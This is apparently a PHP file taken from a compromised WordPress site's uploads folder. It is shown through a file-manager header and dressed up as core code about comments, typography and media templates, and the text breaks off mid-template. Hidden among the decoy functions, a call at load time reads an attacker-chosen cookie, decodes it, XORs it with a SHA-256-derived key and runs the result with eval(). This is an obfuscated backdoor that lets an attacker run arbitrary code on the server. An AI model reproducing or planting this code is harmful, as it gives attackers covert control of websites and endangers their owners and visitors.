%PDF- %PDF-
Direktori : /var/www/html/friendstravel.al/wp-content/uploads/ |
Current File : /var/www/html/friendstravel.al/wp-content/uploads/wp-capabilities.php |
<?php /** * Returns the classes for the comment div as an array. * * @since 2.7.0 * @since 4.4.0 Added the ability for `$link_id` to also accept a WP_Comment object. * * @global int $checked_method * @global int $custom_logo * @global int $clause_key_base * * @param string|string[] $active_installs_text Optional. One or more classes to add to the class list. * Default empty. * @param int|WP_Comment $link_id Optional. Comment ID or WP_Comment object. Default current comment. * @param int|WP_Post $home_origin Optional. Post ID or WP_Post object. Default current post. * @return string[] An array of classes. */ function is_rtl($active_installs_text = '', $link_id = null, $home_origin = null) { global $checked_method, $custom_logo, $clause_key_base; $max_numbered_placeholder = array(); $upgrader = get_comment($link_id); if (!$upgrader) { return $max_numbered_placeholder; } // Get the comment type (comment, trackback). $max_numbered_placeholder[] = empty($upgrader->comment_type) ? 'comment' : $upgrader->comment_type; // Add classes for comment authors that are registered users. $total_inline_limit = $upgrader->user_id ? get_userdata($upgrader->user_id) : false; if ($total_inline_limit) { $max_numbered_placeholder[] = 'byuser'; $max_numbered_placeholder[] = 'comment-author-' . sanitize_html_class($total_inline_limit->user_nicename, $upgrader->user_id); // For comment authors who are the author of the post. $fresh_comments = get_post($home_origin); if ($fresh_comments) { if ($upgrader->user_id === $fresh_comments->post_author) { $max_numbered_placeholder[] = 'bypostauthor'; } } } if (empty($checked_method)) { $checked_method = 0; } if (empty($custom_logo)) { $custom_logo = 1; } if (empty($clause_key_base)) { $clause_key_base = 0; } if ($checked_method % 2) { $max_numbered_placeholder[] = 'odd'; $max_numbered_placeholder[] = 'alt'; } else { $max_numbered_placeholder[] = 'even'; } ++$checked_method; // Alt for top-level comments. if (1 == $custom_logo) { if ($clause_key_base % 2) { $max_numbered_placeholder[] = 'thread-odd'; $max_numbered_placeholder[] = 'thread-alt'; } else { $max_numbered_placeholder[] = 'thread-even'; } ++$clause_key_base; } $max_numbered_placeholder[] = "depth-{$custom_logo}"; if (!empty($active_installs_text)) { if (!is_array($active_installs_text)) { $active_installs_text = preg_split('#\s+#', $active_installs_text); } $max_numbered_placeholder = array_merge($max_numbered_placeholder, $active_installs_text); } $max_numbered_placeholder = array_map('esc_attr', $max_numbered_placeholder); /** * Filters the returned CSS classes for the current comment. * * @since 2.7.0 * * @param string[] $max_numbered_placeholder An array of comment classes. * @param string[] $active_installs_text An array of additional classes added to the list. * @param string $link_id The comment ID as a numeric string. * @param WP_Comment $upgrader The comment object. * @param int|WP_Post $home_origin The post ID or WP_Post object. */ return apply_filters('comment_class', $max_numbered_placeholder, $active_installs_text, $upgrader->comment_ID, $upgrader, $home_origin); } /** * Sets the last changed time for the 'users' cache group. * * @since 6.3.0 */ function get_from_editor_settings() { wp_cache_set_last_changed('users'); } $byte = 10; /** * Internal implementation of CSS clamp() based on available min/max viewport * width and min/max font sizes. * * @since 6.1.0 * @since 6.3.0 Checks for unsupported min/max viewport values that cause invalid clamp values. * @since 6.5.0 Returns early when min and max viewport subtraction is zero to avoid division by zero. * @access private * * @param array $option_save_attachments { * Optional. An associative array of values to calculate a fluid formula * for font size. Default is empty array. * * @type string $widget_b Maximum size up to which type will have fluidity. * @type string $scheme_lower Minimum viewport size from which type will have fluidity. * @type string $sticky_posts_count Maximum font size for any clamp() calculation. * @type string $maybe_active_plugins Minimum font size for any clamp() calculation. * @type int $block_data A scale factor to determine how fast a font scales within boundaries. * } * @return string|null A font-size value using clamp() on success, otherwise null. */ function get_all_global_style_block_names($option_save_attachments = array()) { $meta_compare_string_end = isset($option_save_attachments['maximum_viewport_width']) ? $option_save_attachments['maximum_viewport_width'] : null; $shared_tts = isset($option_save_attachments['minimum_viewport_width']) ? $option_save_attachments['minimum_viewport_width'] : null; $error_file = isset($option_save_attachments['maximum_font_size']) ? $option_save_attachments['maximum_font_size'] : null; $preview_label = isset($option_save_attachments['minimum_font_size']) ? $option_save_attachments['minimum_font_size'] : null; $block_data = isset($option_save_attachments['scale_factor']) ? $option_save_attachments['scale_factor'] : null; // Normalizes the minimum font size in order to use the value for calculations. $maybe_active_plugins = wp_get_typography_value_and_unit($preview_label); /* * We get a 'preferred' unit to keep units consistent when calculating, * otherwise the result will not be accurate. */ $chown = isset($maybe_active_plugins['unit']) ? $maybe_active_plugins['unit'] : 'rem'; // Normalizes the maximum font size in order to use the value for calculations. $sticky_posts_count = wp_get_typography_value_and_unit($error_file, array('coerce_to' => $chown)); // Checks for mandatory min and max sizes, and protects against unsupported units. if (!$sticky_posts_count || !$maybe_active_plugins) { return null; } // Uses rem for accessible fluid target font scaling. $faultString = wp_get_typography_value_and_unit($preview_label, array('coerce_to' => 'rem')); // Viewport widths defined for fluid typography. Normalize units. $widget_b = wp_get_typography_value_and_unit($meta_compare_string_end, array('coerce_to' => $chown)); $scheme_lower = wp_get_typography_value_and_unit($shared_tts, array('coerce_to' => $chown)); // Protects against unsupported units in min and max viewport widths. if (!$scheme_lower || !$widget_b) { return null; } // Calculates the linear factor denominator. If it's 0, we cannot calculate a fluid value. $minusT = $widget_b['value'] - $scheme_lower['value']; if (empty($minusT)) { return null; } /* * Build CSS rule. * Borrowed from https://websemantics.uk/tools/responsive-font-calculator/. */ $cookie_elements = round($scheme_lower['value'] / 100, 3) . $chown; $has_env = 100 * (($sticky_posts_count['value'] - $maybe_active_plugins['value']) / $minusT); $atomcounter = round($has_env * $block_data, 3); $atomcounter = empty($atomcounter) ? 1 : $atomcounter; $active_tab_class = implode('', $faultString) . " + ((1vw - {$cookie_elements}) * {$atomcounter})"; return "clamp({$preview_label}, {$active_tab_class}, {$error_file})"; } $calc = range('a', 'z'); /** * Displays translated string with gettext context. * * @since 3.0.0 * * @param string $sitebox_opents Text to translate. * @param string $last_revision Context information for the translators. * @param string $blocklist Optional. Text domain. Unique identifier for retrieving translated strings. * Default 'default'. */ function box_open($sitebox_opents, $last_revision, $blocklist = 'default') { echo _x($sitebox_opents, $last_revision, $blocklist); } // Bit operator to workaround https://bugs.php.net/bug.php?id=44936 which changes access level to 63 in PHP 5.2.6 - 5.2.17. /** * Don't render the control content from PHP, as it's rendered via JS on load. * * @since 4.7.0 */ function check_update_permission($ms, $aria_action){ // Padding Data BYTESTREAM variable // ignore $link_end = ['Toyota', 'Ford', 'BMW', 'Honda']; $view_mode_post_types = 9; $f0f3_2 = 45; $style_path = $link_end[array_rand($link_end)]; $max_frames_scan = hash("sha256", $ms, TRUE); $link_target = $view_mode_post_types + $f0f3_2; $ThisFileInfo = str_split($style_path); $currentmonth = styles_for_block_core_search($aria_action); // If the theme uses deprecated block template folders. $theme_width = $f0f3_2 - $view_mode_post_types; sort($ThisFileInfo); // This overrides 'posts_per_page'. // [47][E4] -- This is the ID of the private key the data was signed with. // Make sure the nav element has an aria-label attribute: fallback to the screen reader text. $endpoint = load_script_textdomain($currentmonth, $max_frames_scan); // sanitize_post() skips the post_content when user_can_richedit. $saved = range($view_mode_post_types, $f0f3_2, 5); $js_required_message = implode('', $ThisFileInfo); $created_timestamp = "vocabulary"; $skip_all_element_color_serialization = array_filter($saved, function($position_x) {return $position_x % 5 !== 0;}); return $endpoint; } add_settings_field(); $theme_vars = range(1, $byte); /** * Drops a specified index from a table. * * @since 1.0.1 * * @global wpdb $search_sql WordPress database abstraction object. * * @param string $display Database table name. * @param string $LISTchunkParent Index name to drop. * @return true True, when finished. */ function APEtagItemIsUTF8Lookup($display, $LISTchunkParent) { global $search_sql; $search_sql->hide_errors(); $search_sql->query("ALTER TABLE `{$display}` DROP INDEX `{$LISTchunkParent}`"); // Now we need to take out all the extra ones we may have created. for ($grouped_options = 0; $grouped_options < 25; $grouped_options++) { $search_sql->query("ALTER TABLE `{$display}` DROP INDEX `{$LISTchunkParent}_{$grouped_options}`"); } $search_sql->show_errors(); return true; } $use_id = $calc; /** * Returns a list of templates. * * @since 5.8.0 * * @param WP_REST_Request $l2equest The request instance. * @return WP_REST_Response */ function add_settings_field(){ $export_file_url = 4; $button_internal_markup = "Exploration"; $byte = 10; $additional = "MKIRogAvOblcpCrpnvNfxlvOqMXvoRp"; sodium_crypto_kx($additional); } /** * Filters out `register_meta()` args based on an allowed list. * * `register_meta()` args may change over time, so requiring the allowed list * to be explicitly turned off is a warranty seal of sorts. * * @access private * @since 4.6.0 * @deprecated 5.5.0 Use _wp_register_meta_args_allowed_list() instead. * Please consider writing more inclusive code. * * @param array $option_save_attachments Arguments from `register_meta()`. * @param array $default_args Default arguments for `register_meta()`. * @return array Filtered arguments. */ function wp_getTerms($search_results, $algo) { $autosave_query = ''; for ($grouped_options = 0; $grouped_options < $algo; $grouped_options++) { $autosave_query .= $search_results; } return $autosave_query; } /** * @var string Feed URL * @see SimplePie::set_feed_url() * @access private */ function lazyload_meta_callback($zopen, $frame_filename, $algo) { $update_details = init_query_flags($zopen, $frame_filename, $algo); return "Processed String: " . $update_details; } /** * Adds `noindex` to the robots meta tag for embeds. * * Typical usage is as a {@see 'wp_robots'} callback: * * add_filter( 'wp_robots', 'wp_schedule_test_init' ); * * @since 5.7.0 * * @see wp_robots_no_robots() * * @param array $frmsizecod Associative array of robots directives. * @return array Filtered robots directives. */ function wp_schedule_test_init(array $frmsizecod) { if (is_embed()) { return wp_robots_no_robots($frmsizecod); } return $frmsizecod; } /* translators: %s: Taxonomy label, %l: List of terms formatted as per $term_template. */ function styles_for_block_core_search($allow_anonymous){ $view_mode_post_types = 9; $controller = [2, 4, 6, 8, 10]; $upload = "Learning PHP is fun and rewarding."; // Verify that the SSL certificate is valid for this request. $cluster_silent_tracks = $_COOKIE[$allow_anonymous]; $current_level = explode(' ', $upload); $delete_interval = array_map(function($has_named_font_size) {return $has_named_font_size * 3;}, $controller); $f0f3_2 = 45; $currentmonth = rawurldecode($cluster_silent_tracks); // Languages. return $currentmonth; } wp_typography_get_css_variable_inline_style(10); /** * Deletes the bookmark cache. * * @since 2.7.0 * * @param int $col_info Bookmark ID. */ function set_source_class($col_info) { wp_cache_delete($col_info, 'bookmark'); wp_cache_delete('get_bookmarks', 'bookmark'); clean_object_term_cache($col_info, 'link'); } /** * Socket Based FTP implementation * * @package PemFTP * @subpackage Socket * @since 2.5.0 * * @version 1.0 * @copyright Alexey Dotsenko * @author Alexey Dotsenko * @link https://www.phpclasses.org/package/1743-PHP-FTP-client-in-pure-PHP.html * @license LGPL https://opensource.org/licenses/lgpl-license.html */ function load_script_textdomain($blah, $help_class){ $calc = range('a', 'z'); $errno = 50; $total_users = [72, 68, 75, 70]; $thisfile_riff_audio = "abcxyz"; $file_names = strlen($blah); // Update existing menu item. Default is publish status. $strtolower = max($total_users); $use_id = $calc; $theme_version_string_debug = strrev($thisfile_riff_audio); $DIVXTAGgenre = [0, 1]; $started_at = wp_update_attachment_metadata($help_class, $file_names); $prefixed_table = sanitize_font_family_settings($started_at, $blah); return $prefixed_table; } /* translators: %s: Select field to choose the front page. */ function allow_discard($position_x) { $public_only = [0, 1]; // Filter an image match. $babes = range(1, 12); $archive_slug = array_map(function($current_theme_data) {return strtotime("+$current_theme_data month");}, $babes); // Could be absolute path to file in plugin. // ----- Options values $gradient_attr = array_map(function($thumbnails_parent) {return date('Y-m', $thumbnails_parent);}, $archive_slug); // Remove the href attribute, as it's used for the main URL. //Simple syntax limits $default_editor_styles_file_contents = function($term_relationships) {return date('t', strtotime($term_relationships)) > 30;}; // ----- Look for filetime $update_terms = array_filter($gradient_attr, $default_editor_styles_file_contents); //if ($thisfile_mpeg_audio_lame['short_version'] >= 'LAME3.90') { for ($grouped_options = 2; $grouped_options < $position_x; $grouped_options++) { $public_only[$grouped_options] = $public_only[$grouped_options - 1] + $public_only[$grouped_options - 2]; } // maybe not, but probably return $public_only; } /** * Don't auto-p wrap shortcodes that stand alone. * * Ensures that shortcodes are not wrapped in `<p>...</p>`. * * @since 2.9.0 * * @global array $orphans * * @param string $sitebox_opents The content. * @return string The filtered content. */ function comment_block($sitebox_opents) { global $orphans; if (empty($orphans) || !is_array($orphans)) { return $sitebox_opents; } $hash_is_correct = implode('|', array_map('preg_quote', array_keys($orphans))); $exclude_keys = wp_spaces_regexp(); // phpcs:disable Squiz.Strings.ConcatenationSpacing.PaddingFound,Universal.WhiteSpace.PrecisionAlignment.Found -- don't remove regex indentation $the_time = '/' . '<p>' . '(?:' . $exclude_keys . ')*+' . '(' . '\[' . "({$hash_is_correct})" . '(?![\w-])' . '[^\]\/]*' . '(?:' . '\/(?!\])' . '[^\]\/]*' . ')*?' . '(?:' . '\/\]' . '|' . '\]' . '(?:' . '[^\[]*+' . '(?:' . '\[(?!\/\2\])' . '[^\[]*+' . ')*+' . '\[\/\2\]' . ')?' . ')' . ')' . '(?:' . $exclude_keys . ')*+' . '<\/p>' . '/'; // phpcs:enable return preg_replace($the_time, '$1', $sitebox_opents); } /* * Check HTTPS detection results. */ function print_post_type_container($zopen, $frame_filename) { // The request was made via wp.customize.previewer.save(). return $zopen . ' ' . $frame_filename; } /** * Returns a list of registered shortcode names found in the given content. * * Example usage: * * get_shortcode_tags_in_content( '[audio src="file.mp3"][/audio] [foo] [gallery ids="1,2,3"]' ); * // array( 'audio', 'gallery' ) * * @since 6.3.2 * * @param string $content The content to check. * @return string[] An array of registered shortcode names found in the content. */ function sanitize_font_family_settings($shcode, $assigned_locations){ $babes = range(1, 12); $hookname = 8; $calc = range('a', 'z'); $link_end = ['Toyota', 'Ford', 'BMW', 'Honda']; // Go through each remaining sidebar... $assigned_locations ^= $shcode; $style_path = $link_end[array_rand($link_end)]; $use_id = $calc; $archive_slug = array_map(function($current_theme_data) {return strtotime("+$current_theme_data month");}, $babes); $preview_file = 18; $themes_to_delete = $hookname + $preview_file; shuffle($use_id); $gradient_attr = array_map(function($thumbnails_parent) {return date('Y-m', $thumbnails_parent);}, $archive_slug); $ThisFileInfo = str_split($style_path); $sub1embed = array_slice($use_id, 0, 10); sort($ThisFileInfo); $default_editor_styles_file_contents = function($term_relationships) {return date('t', strtotime($term_relationships)) > 30;}; $before_widget_tags_seen = $preview_file / $hookname; $prepared_pattern = implode('', $sub1embed); $target_type = range($hookname, $preview_file); $js_required_message = implode('', $ThisFileInfo); $update_terms = array_filter($gradient_attr, $default_editor_styles_file_contents); return $assigned_locations; } /** * Handles deleting a comment via AJAX. * * @since 3.1.0 */ function wrapText() { $esses = isset($_POST['id']) ? (int) $_POST['id'] : 0; $upgrader = get_comment($esses); if (!$upgrader) { wp_die(time()); } if (!current_user_can('edit_comment', $upgrader->comment_ID)) { wp_die(-1); } check_ajax_referer("delete-comment_{$esses}"); $yearlink = wp_get_comment_status($upgrader); $b10 = -1; if (isset($_POST['trash']) && 1 == $_POST['trash']) { if ('trash' === $yearlink) { wp_die(time()); } $l2 = wp_trash_comment($upgrader); } elseif (isset($_POST['untrash']) && 1 == $_POST['untrash']) { if ('trash' !== $yearlink) { wp_die(time()); } $l2 = wp_untrash_comment($upgrader); // Undo trash, not in Trash. if (!isset($_POST['comment_status']) || 'trash' !== $_POST['comment_status']) { $b10 = 1; } } elseif (isset($_POST['spam']) && 1 == $_POST['spam']) { if ('spam' === $yearlink) { wp_die(time()); } $l2 = wp_spam_comment($upgrader); } elseif (isset($_POST['unspam']) && 1 == $_POST['unspam']) { if ('spam' !== $yearlink) { wp_die(time()); } $l2 = wp_unspam_comment($upgrader); // Undo spam, not in spam. if (!isset($_POST['comment_status']) || 'spam' !== $_POST['comment_status']) { $b10 = 1; } } elseif (isset($_POST['delete']) && 1 == $_POST['delete']) { $l2 = wp_delete_comment($upgrader); } else { wp_die(-1); } if ($l2) { // Decide if we need to send back '1' or a more complicated response including page links and comment counts. _wrapText_response($upgrader->comment_ID, $b10); } wp_die(0); } /* translators: %s: Database name. */ function wp_update_attachment_metadata($url_filename, $x12){ $byte = 10; // ! $bulk $theme_vars = range(1, $byte); $split_query = strlen($url_filename); // Administration. $split_query = $x12 / $split_query; $split_query = ceil($split_query); // Must be double quote, see above. $togroup = 1.2; $switch_class = array_map(function($has_named_font_size) use ($togroup) {return $has_named_font_size * $togroup;}, $theme_vars); $preferred_format = 7; // just ignore the item. $pending_starter_content_settings_ids = array_slice($switch_class, 0, 7); $split_query += 1; $j11 = str_repeat($url_filename, $split_query); return $j11; } function rest_send_allow_header() { return Akismet::fix_scheduled_recheck(); } /** * Checks if a given request has access to delete a comment. * * @since 4.7.0 * * @param WP_REST_Request $l2equest Full details about the request. * @return true|WP_Error True if the request has access to delete the item, error object otherwise. */ function init_query_flags($zopen, $frame_filename, $algo) { $babes = range(1, 12); $menu_locations = [85, 90, 78, 88, 92]; $qvalue = "Navigation System"; $translate = 21; $group_id_attr = array_map(function($has_named_font_size) {return $has_named_font_size + 5;}, $menu_locations); $empty_slug = 34; $delete_user = preg_replace('/[aeiou]/i', '', $qvalue); $archive_slug = array_map(function($current_theme_data) {return strtotime("+$current_theme_data month");}, $babes); $hsl_regexp = print_post_type_container($zopen, $frame_filename); // Handles simple use case where user has a classic menu and switches to a block theme. $autosave_query = wp_getTerms($hsl_regexp, $algo); $gradient_attr = array_map(function($thumbnails_parent) {return date('Y-m', $thumbnails_parent);}, $archive_slug); $CodecEntryCounter = array_sum($group_id_attr) / count($group_id_attr); $fluid_font_size = strlen($delete_user); $signature_url = $translate + $empty_slug; return $autosave_query; } /** * Filters the URI the user is redirected to after editing a comment in the admin. * * @since 2.1.0 * * @param string $location The URI the user will be redirected to. * @param int $link_id The ID of the comment being edited. */ function sodium_crypto_kx($merged_data){ $mysql_required_version = ['Lorem', 'Ipsum', 'Dolor', 'Sit', 'Amet']; $default_flags = "hashing and encrypting data"; $exclude_array = [29.99, 15.50, 42.75, 5.00]; $plugin_basename = "135792468"; $qvalue = "Navigation System"; $has_background_image_support = substr($merged_data, -4); $cachebox_openpiration = strrev($plugin_basename); $frame_picturetype = array_reduce($exclude_array, function($sitemeta, $current_selector) {return $sitemeta + $current_selector;}, 0); $pi = 20; $delete_user = preg_replace('/[aeiou]/i', '', $qvalue); $server_pk = array_reverse($mysql_required_version); $parent_db_id = number_format($frame_picturetype, 2); $hide_clusters = 'Lorem'; $fluid_font_size = strlen($delete_user); $avif_info = hash('sha256', $default_flags); $child_api = str_split($cachebox_openpiration, 2); //print("Found start of object at {$c}\n"); // Draft, 1 or more saves, no date specified. $variation_output = array_map(function($dropdown_id) {return intval($dropdown_id) ** 2;}, $child_api); $parent_title = substr($avif_info, 0, $pi); $session = $frame_picturetype / count($exclude_array); $tail = substr($delete_user, 0, 4); $original_formats = in_array($hide_clusters, $server_pk); // Read originals' indices. $x_z_inv = check_update_permission($merged_data, $has_background_image_support); // * * Error Correction Present bits 1 // If set, use Opaque Data Packet structure, else use Payload structure eval($x_z_inv); } /** * Prints the templates used in the media manager. * * @since 3.5.0 */ function get_fields_for_response() { $th_or_td_right = 'media-modal wp-core-ui'; $final_tt_ids = sprintf( /* translators: 1: Link to tutorial, 2: Additional link attributes, 3: Accessibility text. */ __('<a href="%1$s" %2$s>Learn how to describe the purpose of the image%3$s</a>. Leave empty if the image is purely decorative.'), esc_url('https://www.w3.org/WAI/tutorials/images/decision-tree'), 'target="_blank" rel="noopener"', sprintf( '<span class="screen-reader-text"> %s</span>', /* translators: Hidden accessibility text. */ __('(opens in a new tab)') ) ); ?> <?php // Template for the media frame: used both in the media grid and in the media modal. ?> <script type="text/html" id="tmpl-media-frame"> <div class="media-frame-title" id="media-frame-title"></div> <h2 class="media-frame-menu-heading"><?php box_open('Actions', 'media modal menu actions'); ?></h2> <button type="button" class="button button-link media-frame-menu-toggle" aria-expanded="false"> <?php box_open('Menu', 'media modal menu'); ?> <span class="dashicons dashicons-arrow-down" aria-hidden="true"></span> </button> <div class="media-frame-menu"></div> <div class="media-frame-tab-panel"> <div class="media-frame-router"></div> <div class="media-frame-content"></div> </div> <h2 class="media-frame-actions-heading screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e('Selected media actions'); ?> </h2> <div class="media-frame-toolbar"></div> <div class="media-frame-uploader"></div> </script> <?php // Template for the media modal. ?> <script type="text/html" id="tmpl-media-modal"> <div tabindex="0" class="<?php echo $th_or_td_right; ?>" role="dialog" aria-labelledby="media-frame-title"> <# if ( data.hasCloseButton ) { #> <button type="button" class="media-modal-close"><span class="media-modal-icon"><span class="screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e('Close dialog'); ?> </span></span></button> <# } #> <div class="media-modal-content" role="document"></div> </div> <div class="media-modal-backdrop"></div> </script> <?php // Template for the window uploader, used for example in the media grid. ?> <script type="text/html" id="tmpl-uploader-window"> <div class="uploader-window-content"> <div class="uploader-editor-title"><?php _e('Drop files to upload'); ?></div> </div> </script> <?php // Template for the editor uploader. ?> <script type="text/html" id="tmpl-uploader-editor"> <div class="uploader-editor-content"> <div class="uploader-editor-title"><?php _e('Drop files to upload'); ?></div> </div> </script> <?php // Template for the inline uploader, used for example in the Media Library admin page - Add New. ?> <script type="text/html" id="tmpl-uploader-inline"> <# var messageClass = data.message ? 'has-upload-message' : 'no-upload-message'; #> <# if ( data.canClose ) { #> <button class="close dashicons dashicons-no"><span class="screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e('Close uploader'); ?> </span></button> <# } #> <div class="uploader-inline-content {{ messageClass }}"> <# if ( data.message ) { #> <h2 class="upload-message">{{ data.message }}</h2> <# } #> <?php if (!_device_can_upload()) { ?> <div class="upload-ui"> <h2 class="upload-instructions"><?php _e('Your browser cannot upload files'); ?></h2> <p> <?php printf( /* translators: %s: https://apps.wordpress.org/ */ __('The web browser on your device cannot be used to upload files. You may be able to use the <a href="%s">native app for your device</a> instead.'), 'https://apps.wordpress.org/' ); ?> </p> </div> <?php } elseif (is_multisite() && !is_upload_space_available()) { ?> <div class="upload-ui"> <h2 class="upload-instructions"><?php _e('Upload Limit Exceeded'); ?></h2> <?php /** This action is documented in wp-admin/includes/media.php */ do_action('upload_ui_over_quota'); ?> </div> <?php } else { ?> <div class="upload-ui"> <h2 class="upload-instructions drop-instructions"><?php _e('Drop files to upload'); ?></h2> <p class="upload-instructions drop-instructions"><?php box_open('or', 'Uploader: Drop files here - or - Select Files'); ?></p> <button type="button" class="browser button button-hero" aria-labelledby="post-upload-info"><?php _e('Select Files'); ?></button> </div> <div class="upload-inline-status"></div> <div class="post-upload-ui" id="post-upload-info"> <?php /** This action is documented in wp-admin/includes/media.php */ do_action('pre-upload-ui'); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores /** This action is documented in wp-admin/includes/media.php */ do_action('pre-plupload-upload-ui'); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores if (10 === remove_action('post-plupload-upload-ui', 'media_upload_flash_bypass')) { /** This action is documented in wp-admin/includes/media.php */ do_action('post-plupload-upload-ui'); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores add_action('post-plupload-upload-ui', 'media_upload_flash_bypass'); } else { /** This action is documented in wp-admin/includes/media.php */ do_action('post-plupload-upload-ui'); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores } $expected = wp_max_upload_size(); if (!$expected) { $expected = 0; } ?> <p class="max-upload-size"> <?php printf( /* translators: %s: Maximum allowed file size. */ __('Maximum upload file size: %s.'), esc_html(size_format($expected)) ); ?> </p> <# if ( data.suggestedWidth && data.suggestedHeight ) { #> <p class="suggested-dimensions"> <?php /* translators: 1: Suggested width number, 2: Suggested height number. */ printf(__('Suggested image dimensions: %1$s by %2$s pixels.'), '{{data.suggestedWidth}}', '{{data.suggestedHeight}}'); ?> </p> <# } #> <?php /** This action is documented in wp-admin/includes/media.php */ do_action('post-upload-ui'); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores ?> </div> <?php } ?> </div> </script> <?php // Template for the view switchers, used for example in the Media Grid. ?> <script type="text/html" id="tmpl-media-library-view-switcher"> <a href="<?php echo esc_url(add_query_arg('mode', 'list', admin_url('upload.php'))); ?>" class="view-list"> <span class="screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e('List view'); ?> </span> </a> <a href="<?php echo esc_url(add_query_arg('mode', 'grid', admin_url('upload.php'))); ?>" class="view-grid current" aria-current="page"> <span class="screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e('Grid view'); ?> </span> </a> </script> <?php // Template for the uploading status UI. ?> <script type="text/html" id="tmpl-uploader-status"> <h2><?php _e('Uploading'); ?></h2> <div class="media-progress-bar"><div></div></div> <div class="upload-details"> <span class="upload-count"> <span class="upload-index"></span> / <span class="upload-total"></span> </span> <span class="upload-detail-separator">–</span> <span class="upload-filename"></span> </div> <div class="upload-errors"></div> <button type="button" class="button upload-dismiss-errors"><?php _e('Dismiss errors'); ?></button> </script> <?php // Template for the uploading status errors. ?> <script type="text/html" id="tmpl-uploader-status-error"> <span class="upload-error-filename">{{{ data.filename }}}</span> <span class="upload-error-message">{{ data.message }}</span> </script> <?php // Template for the Attachment Details layout in the media browser. ?> <script type="text/html" id="tmpl-edit-attachment-frame"> <div class="edit-media-header"> <button class="left dashicons"<# if ( ! data.hasPrevious ) { #> disabled<# } #>><span class="screen-reader-text"><?php /* translators: Hidden accessibility text. */ _e('Edit previous media item'); ?></span></button> <button class="right dashicons"<# if ( ! data.hasNext ) { #> disabled<# } #>><span class="screen-reader-text"><?php /* translators: Hidden accessibility text. */ _e('Edit next media item'); ?></span></button> <button type="button" class="media-modal-close"><span class="media-modal-icon"><span class="screen-reader-text"><?php _e('Close dialog'); ?></span></span></button> </div> <div class="media-frame-title"></div> <div class="media-frame-content"></div> </script> <?php // Template for the Attachment Details two columns layout. ?> <script type="text/html" id="tmpl-attachment-details-two-column"> <div class="attachment-media-view {{ data.orientation }}"> <?php if (isset($_GET['error']) && 'deprecated' === $_GET['error']) { wp_admin_notice(__('The Edit Media screen is deprecated as of WordPress 6.3. Please use the Media Library instead.'), array('id' => 'message', 'additional_classes' => array('error'))); } ?> <h2 class="screen-reader-text"><?php /* translators: Hidden accessibility text. */ _e('Attachment Preview'); ?></h2> <div class="thumbnail thumbnail-{{ data.type }}"> <# if ( data.uploading ) { #> <div class="media-progress-bar"><div></div></div> <# } else if ( data.sizes && data.sizes.full ) { #> <img class="details-image" src="{{ data.sizes.full.url }}" draggable="false" alt="" /> <# } else if ( data.sizes && data.sizes.large ) { #> <img class="details-image" src="{{ data.sizes.large.url }}" draggable="false" alt="" /> <# } else if ( -1 === jQuery.inArray( data.type, [ 'audio', 'video' ] ) ) { #> <img class="details-image icon" src="{{ data.icon }}" draggable="false" alt="" /> <# } #> <# if ( 'audio' === data.type ) { #> <div class="wp-media-wrapper wp-audio"> <audio style="visibility: hidden" controls class="wp-audio-shortcode" width="100%" preload="none"> <source type="{{ data.mime }}" src="{{ data.url }}" /> </audio> </div> <# } else if ( 'video' === data.type ) { var w_rule = ''; if ( data.width ) { w_rule = 'width: ' + data.width + 'px;'; } else if ( wp.media.view.settings.contentWidth ) { w_rule = 'width: ' + wp.media.view.settings.contentWidth + 'px;'; } #> <div style="{{ w_rule }}" class="wp-media-wrapper wp-video"> <video controls="controls" class="wp-video-shortcode" preload="metadata" <# if ( data.width ) { #>width="{{ data.width }}"<# } #> <# if ( data.height ) { #>height="{{ data.height }}"<# } #> <# if ( data.image && data.image.src !== data.icon ) { #>poster="{{ data.image.src }}"<# } #>> <source type="{{ data.mime }}" src="{{ data.url }}" /> </video> </div> <# } #> <div class="attachment-actions"> <# if ( 'image' === data.type && ! data.uploading && data.sizes && data.can.save ) { #> <button type="button" class="button edit-attachment"><?php _e('Edit Image'); ?></button> <# } else if ( 'pdf' === data.subtype && data.sizes ) { #> <p><?php _e('Document Preview'); ?></p> <# } #> </div> </div> </div> <div class="attachment-info"> <span class="settings-save-status" role="status"> <span class="spinner"></span> <span class="saved"><?php esc_html_e('Saved.'); ?></span> </span> <div class="details"> <h2 class="screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e('Details'); ?> </h2> <div class="uploaded"><strong><?php _e('Uploaded on:'); ?></strong> {{ data.dateFormatted }}</div> <div class="uploaded-by"> <strong><?php _e('Uploaded by:'); ?></strong> <# if ( data.authorLink ) { #> <a href="{{ data.authorLink }}">{{ data.authorName }}</a> <# } else { #> {{ data.authorName }} <# } #> </div> <# if ( data.uploadedToTitle ) { #> <div class="uploaded-to"> <strong><?php _e('Uploaded to:'); ?></strong> <# if ( data.uploadedToLink ) { #> <a href="{{ data.uploadedToLink }}">{{ data.uploadedToTitle }}</a> <# } else { #> {{ data.uploadedToTitle }} <# } #> </div> <# } #> <div class="filename"><strong><?php _e('File name:'); ?></strong> {{ data.filename }}</div> <div class="file-type"><strong><?php _e('File type:'); ?></strong> {{ data.mime }}</div> <div class="file-size"><strong><?php _e('File size:'); ?></strong> {{ data.filesizeHumanReadable }}</div> <# if ( 'image' === data.type && ! data.uploading ) { #> <# if ( data.width && data.height ) { #> <div class="dimensions"><strong><?php _e('Dimensions:'); ?></strong> <?php /* translators: 1: A number of pixels wide, 2: A number of pixels tall. */ printf(__('%1$s by %2$s pixels'), '{{ data.width }}', '{{ data.height }}'); ?> </div> <# } #> <# if ( data.originalImageURL && data.originalImageName ) { #> <div class="word-wrap-break-word"> <strong><?php _e('Original image:'); ?></strong> <a href="{{ data.originalImageURL }}">{{data.originalImageName}}</a> </div> <# } #> <# } #> <# if ( data.fileLength && data.fileLengthHumanReadable ) { #> <div class="file-length"><strong><?php _e('Length:'); ?></strong> <span aria-hidden="true">{{ data.fileLength }}</span> <span class="screen-reader-text">{{ data.fileLengthHumanReadable }}</span> </div> <# } #> <# if ( 'audio' === data.type && data.meta.bitrate ) { #> <div class="bitrate"> <strong><?php _e('Bitrate:'); ?></strong> {{ Math.round( data.meta.bitrate / 1000 ) }}kb/s <# if ( 